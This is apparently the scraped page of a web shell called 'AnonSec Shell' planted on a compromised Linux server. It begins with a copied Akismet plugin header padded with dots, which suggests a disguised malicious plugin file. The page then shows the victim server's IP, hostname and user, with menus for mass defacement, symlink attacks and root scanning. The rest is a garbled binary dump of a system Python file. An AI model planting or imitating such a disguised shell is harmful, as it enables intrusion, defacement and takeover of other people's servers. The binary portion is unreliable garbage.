#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/rhsmlib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyo
�
L��ec@`s4ddlmZmZmZddlmZddlmZddlm	Z	ddl
Z
ddlZddl
Z
ddlZyddlZWnek
r�dZnXe
je�Zeje��Zdefd��YZdefd	��YZd
efd��YZdd�Zd
�Zd�Zd�ZdS(i(tprint_functiontdivisiontabsolute_import(t
initConfig(tconfig(tconfigparserNtFilesystemWatchercB`sGeZdZd�Zd�Zd�Zd�Zd�Zdd�Z	RS(s,
    Watches a set of directories and notifies when there are changes

    Polling implementation
    Calls callbacks associated with directory when the directory changes
    Uses a loop running in its own thread
    ** Use create_filesystem_watcher to create an instance of a filesystem_watcher
    cC`st|�|_t|_dS(sc
        :param dir_watches: list of directories to watch (see DirectoryWatch class below)
        N(tsettdir_watchestFalsetshould_stop(tselfR((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt__init__+scC`s
t|_dS(N(tTrueR
(R((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pytstop2scC`s+|j�}x|D]}|j�qW|S(s�
        calls all callbacks in dir watches that have changed according to mtime
        :return: set of dir watches that have changed, for testing purposes
        (tchanged_dw_settnotify(Rtchanged_dir_watchest	dir_watch((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pytupdate5s
cC`s;ytjjd|j�}Wntk
r6d}nX|S(s~
        :param dw: directory watch we are looking at
        :return: timestamp of directory watch we are looking at
        s%sN(tostpathtgetmtimetOSErrortNone(Rtdwt	timestamp((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt	get_mtime?s


cC`sXt�}xH|jD]=}|j|�}|j|kr|j|�||_qqW|S(s�
        checks which dir watches out of dir watch list have changed according to mtime of path,
        updates dir watch timestamp if changed
        :return: set of changed dir watches
        (RRRRtadd(Rtchanged_dwsRR((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyRJs	
cC`sdx#|jD]}|j|�|_q
Wx-t|d|�sU|j�tjd�q)W|j�dS(sN
        Loops while self.should_stop is false and the callback() is not true

        Initializes timestamps for each dir watch in dir watch list, sets callback,
        notifies dir watch if it has changed
        :param user_end_loop_cb: callback function to be called at end of each iteration of the loop
        :return:
        t
user_callbackg@N(RRRtend_loop_cbRttimetsleepR(Rtuser_end_loop_cbR((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pytloopXs	
N(
t__name__t
__module__t__doc__RRRRRRR#(((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR"s			
		tInotifyFilesystemWatchercB`s5eZdZd�Zdd�Zd�Zd�ZRS(s'
    Watches a set of directories and notifies when there are changes

    Inotify implementation
    Calls callbacks associated with directory when the directory changes
    Uses a loop running in its own thread
    ** Use create_filesystem_watcher to create instance of filesystem watcher
    cC`s,tt|�j|�d|_d|_dS(s�
        Filesystem watcher if pyinotify is configured and available
        loop function will override parent class loop function
        :param dir_watches: list of directories to watch (see DirectoryWatch class below)
        N(tsuperR'RRt
watch_managertnotifier(RR((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyRrs	c`s�tj��_tj�j�j��_�j���fd�}x<|�s��jj��jjd�rI�jj	�qIqIWdS(s�
        sets up watch manager, notifier, adds watches to watch manager, and starts loop
        :param callback: callback method to be called at the end of each iteration of the loop
        :return:
        c`st�d��S(NR(R((tcallbackR(s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pytinotify_callback�si�N(
t	pyinotifytWatchManagerR)tNotifierthandle_eventR*tadd_watchestprocess_eventstcheck_eventstread_events(RR+R,((R+Rs:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR#|s

cC`sOxH|jD]=}|j|j|j�r
|j|j�r
|j�q
q
WdS(s�
        default process function for pyinotify notifier
        :param event: pyinotify Event object, has path and mask of flags representing file modification
        :return:
        N(Rtpaths_matchRtpathnamet
file_modifiedtmaskR(RteventR((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR0�s*cC`s�x�|jD]�}|jrbtjjtjj|j��}|jj||j|j	d|j
�q
|jj|j|j|j	d|j
�q
WdS(sD
        adds watches to the watch manager
        :return:
        tdo_globN(Rtis_fileRRtabspathtdirnameR)t	add_watchR8R0tis_glob(RRtdir_name((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR1�s
	!(N(R$R%R&RRR#R0R1(((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR'is
	
	
tDirectoryWatchcB`s5eZdZed�Zd�Zd�Zd�ZRS(s�
    Directory to be watched

    Included in list to be passed into filesystem watcher object
    Example usage:
        directory_watch = DirectoryWatch("~/home/", [my_function1, my_function2])
    cC`s�d|_d|_d|_tjj|�|_tjj|j�|_d|_	||_
||_|j|jB|jB|_dS(s�
        :param path: path associated with directory to be watched
        :param callbacks: list of methods called when directory is changed
        :param is_glob: bool - if path provided is glob or not
        iii�N(
t	IN_DELETEt	IN_MODIFYtIN_MOVED_TORRR<tisdirR;RRR?t	callbacksR8(RRRFR?((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR�s						cC`sUxN|jD]C}|dk	r
y|�WqMtk
rI}tj|�qMXq
q
WdS(sP
        calls all callbacks associated with dir watch
        :return:
        N(RFRt	Exceptiontlogt	exception(Rtcbte((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR�scC`sStjj|�}tjj|�}|jr@tj||j�Stj||j�S(s8
        checks if event path matches any of the dir watch paths associated to it
        :param event_path: path of the inotify event object
        :param event_pathname: pathname of the inotify event object
        see pyinotify event class for more info
        :return: bool - if paths match or not
        (RRtrealpathR;tfnmatchtfnmatchcase(Rt
event_pathtevent_pathname((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR5�s
	cC`st|j|@�S(s�
        checks if any flag has been set by event corresponding to modification
        :param event_mask: mask of the inotify event object, signifies what happened
        :return: bool - if any of the modification flags have been set
        (tboolR8(Rt
event_mask((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR7�s(R$R%R&R	RRR5R7(((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyRA�s
		cC`sM|dk	rFy|�p|jSWqFtk
rB}tj|�qFXn|jS(N(RR
RGRHRI(tfswRRK((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR�scC`s6t�}t�}|o|s(t|�St|�SdS(s�
    determines if inotify is available and configured in rhsm.conf
    If yes, uses pyinotify. Else, uses polling methods.
    Uses inotify by default
    :param dir_watches: list of directories to watch to create
    correct filesystem watcher object
    :return: correct filesystem watcher object

    Example usage:
        filesystem_watcher = create_filesystem_watcher([directory_watch1, directory_watch2])
        thread = threading.Thread(target=filesystem_watcher.loop)
        thread.start()
    N(tis_inotify_availabletis_inotify_configRR'(Rt	availabletconfiged((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pytcreate_filesystem_watcher�s
		
cC`s
tdk	S(N(R-R(((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyRTscC`sxytdjd�}WnDtk
r:}tj|�tStjk
r]}tj|�tSX|dkrntSt	|�S(s�
    Check if inotify is enabled or disabled in rhsm.conf.
    It is enabled by default.
    :return: It returns True, when inotify is enabled. Otherwise it returns False.
    trhsmtinotifyN(
tconftget_intt
ValueErrorRHRIR
RtErrorRRQ(tuse_inotifyRK((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyRUs

(t
__future__RRRtrhsm.configRtrhsmlib.servicesRt	six.movesRtloggingtos.pathRRMR R-tImportErrorRt	getLoggerR$RHtConfigR[tobjectRR'RARRXRTRU(((s:/usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt<module>s(

G>=			

Anon7 - 2022
AnonSec Team